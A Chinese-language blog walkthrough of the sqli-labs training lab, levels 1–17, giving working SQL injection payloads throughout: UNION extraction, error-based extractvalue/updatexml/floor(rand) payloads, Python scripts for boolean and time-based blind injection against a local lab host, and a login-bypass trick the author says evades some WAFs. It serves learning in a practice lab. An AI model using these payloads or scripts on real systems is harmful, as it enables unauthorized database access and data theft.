刷刷sqli Labs

期末周复习累了当然选择刷sqli-labs划水了

顺便在security库里建了个放flag的表,做每道题时候去拿拿flag

less-1

先闭合单引号

UNION SELECT 1,group_concat(schema_name),3 FROM INFORMATION_SCHEMA.SCHEMATA #
UNION SELECT 1,group_concat(table_name),3 FROM information_schema.TABLES WHERE table_schema='security' #
UNION SELECT 1,group_concat(column_name),3 FROM information_schema.COLUMNS WHERE table_name='flag' #
UNION SELECT 1,fl4g,3 FROM flag #

less-2

less-1换成数字型

less-3

less-1换成id=1')

less-4

less-1换成id=1")

less-5

单引号闭合以后,用布尔盲注或者显错注入,这里用的显错注入

and extractvalue(1, concat(0x7f, (select fl4g from flag,0x7f))
and(updatexml(1,concat(0x7f,(select fl4g from flag),0x7f),1)) 
/*这两个payload最简洁,但是有长度限制,数据最长只能是32位,flag一长的话就不能用了*/
                 
   
and(select 1 from (select count(*),concat((SELECT group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA),floor(rand(0)*2))x from information_schema.tables group by x)a) #
and(select 1 from (select count(*),concat((SELECT group_concat(table_name) FROM information_schema.TABLES WHERE table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)a) #
and(select 1 from (select count(*),concat((SELECT group_concat(column_name) FROM information_schema.COLUMNS WHERE table_name='flag'),floor(rand(0)*2))x from information_schema.tables group by x)a) #
and(select 1 from (select count(*),concat((SELECT fl4g from flag),floor(rand(0)*2))x from information_schema.tables group by x)a) #
/*在常见的爆user()的payload里嵌套一层,就可以插进less-1的payload了*/

less-6

less-5单引号改为双引号

less-7

题目的意思是往web目录下写文件

mysql5.7以后,默认是不开启secure-file-priv的,不可以任意文件读写,读取没有权限的目录时候会报错You have an error in your SQL syntaxThe MySQL server is running with the --secure-file-priv option so it cannot execute this statement

5.7的话默认会开一个可读写文件夹/var/lib/mysql-files/,只有注入一个洞的话也没法利用

docker拉回8.0看了下,好像8.0默认是不会开可读写文件夹的,所以也没法写文件

实际应用中,如果获取不到web根目录的话,这个洞也是没法利用的,限制的确很多

不过这道题还可以布尔盲注

脚本如下:

import requests
import tqdm
out=''
for num in tqdm.tqdm(range(1,13)):
    for target_char in range(48,126): 
        payload = " and if(ascii(substr(database(),{0},1))={1},~(0)%2B1,1) %23".format(str(num),str(target_char))
        #加号不编码会被当作空格
        #SELECT * FROM users WHERE id=(('1')) and if(ascii(substr(database(),1,1))=115,~(0)+1,1);
        headers = {
            'User-Agent': 'Mozilla/5.0 (X10; Windows10 x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3359.139 Safari/537.36'
        }

        requests.headers = headers

        url="http://localhoat/Less-7/?id=1'))"
        result=requests.get(url+payload)
        if "range" in result.text:
            out+=chr(target_char)

print(out)

payload依次使用

and if(ascii(substr(database(),{0},1))={1},~(0)%2B1,1) %23
and if(ascii(substr((SELECT group_concat(table_name) FROM information_schema.TABLES WHERE table_schema='security'),{0},1))={1},~(0)%2B1,1) %23
and if(ascii(substr((SELECT group_concat(column_name) FROM information_schema.COLUMNS WHERE table_name='flag'),{0},1))={1},~(0)%2B1,1) %23
and if(ascii(substr((select fl4g from flag),{0},1))={1},~(0)%2B1,1) %23

payload的主体也可以用简洁点的mid(database(),0,1), 上面用的这种除了普通的布尔盲注以外,还可以应付hgame2019的sqli-2那种,只返回语句是否正常执行的盲注

less-8

脚本同less-7,换成id=1',下面的判断换成if "You are in..........." not in result:

less-9

时间盲注

import requests
import tqdm
import time
out=''
for num in tqdm.tqdm(range(1,20)):
    for target_char in range(33,126): 
        payload = " and if(ascii(substr(database(),{0},1))={1},sleep(3),1) %23".format(str(num),str(target_char))
        headers = {
            'User-Agent': 'Mozilla/5.0 (X10; Windows10 x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3359.139 Safari/537.36'
        }

        requests.headers = headers

        url="http://192.168.1.9/Less-8/?id=1'"
        
        
        before_time = time.time()
        result=requests.get(url+payload)
        after_time = time.time()
        offset = after_time - before_time
        if offset > 2:
            out+=chr(target_char)

print(out)
and if(ascii(substr(database(),{0},1))={1},sleep(3),1) %23
and if(ascii(substr((SELECT group_concat(table_name) FROM information_schema.TABLES WHERE table_schema='security'),{0},1))={1},sleep(3),1) %23
and if(ascii(substr((SELECT group_concat(column_name) FROM information_schema.COLUMNS WHERE table_name='flag'),{0},1))={1},sleep(3),1) %23
and if(ascii(substr((select fl4g from flag),{0},1))={1},sleep(3),1) %23

less-10

时间盲注,less-9换成双引号

less-11

闭合单引号

uname=1' UNION SELECT 1,fl4g,3 FROM flag #&passwd=0

less-12

less-11换成uname=")

less-13

显错注入

uname=admin') and (select 1 from (select count(*),concat((SELECT fl4g from flag),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=1

less-14

less-13换成双引号

less-15

import requests
import tqdm
out = ''
for num in tqdm.tqdm(range(1, 13)):
    for target_char in range(48, 126):
        payload = {
            "passwd" : "1",
            "uname" : "1' or ascii(substr(database(),{0},1))={1} #".format(str(num), str(target_char))  
        }

        headers = {
            'User-Agent': 'Mozilla/5.0 (X10; Windows10 x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3359.139 Safari/537.36'
        }

        requests.headers = headers

        url = "http://192.168.1.9/Less-15/"
        result = requests.post(url,payload)
  
        if "slap" not in result.text:
            out += chr(target_char)

print(out)

less-16

less-15换成uname=1")

less-17

这道题做起来倒是很简单,password没有过滤(经过那么多轮,我也早记住好几个用户名了=。=),直接注密码就可以uname=admin&passwd=123'or '1'='1

但是如果在实际应用中,拿到这个登录框应该先跑弱口令

fuzz一下,发现除了预期的结果以外还多了个0

burp

栈溢出上是这么说的:

Since the username is String and you have compared it to a Number, MySQL silently cast the column name into number. See Here.

When the string is cast into a number and it starts with a letter, the value will be zero, that’s why all the records are shown.

The adding a username of 5, like this demo, you’ll see all the records except with this username since 5 <> 0.

所以在实际应用中,因为大多数用户名和密码字段都是varchar或者char,用这样的payload就可以过一些waf:uname=0&passwd=1'#,这题也就可以直接改全体了

Written by
crumbledwall

Keep Curious.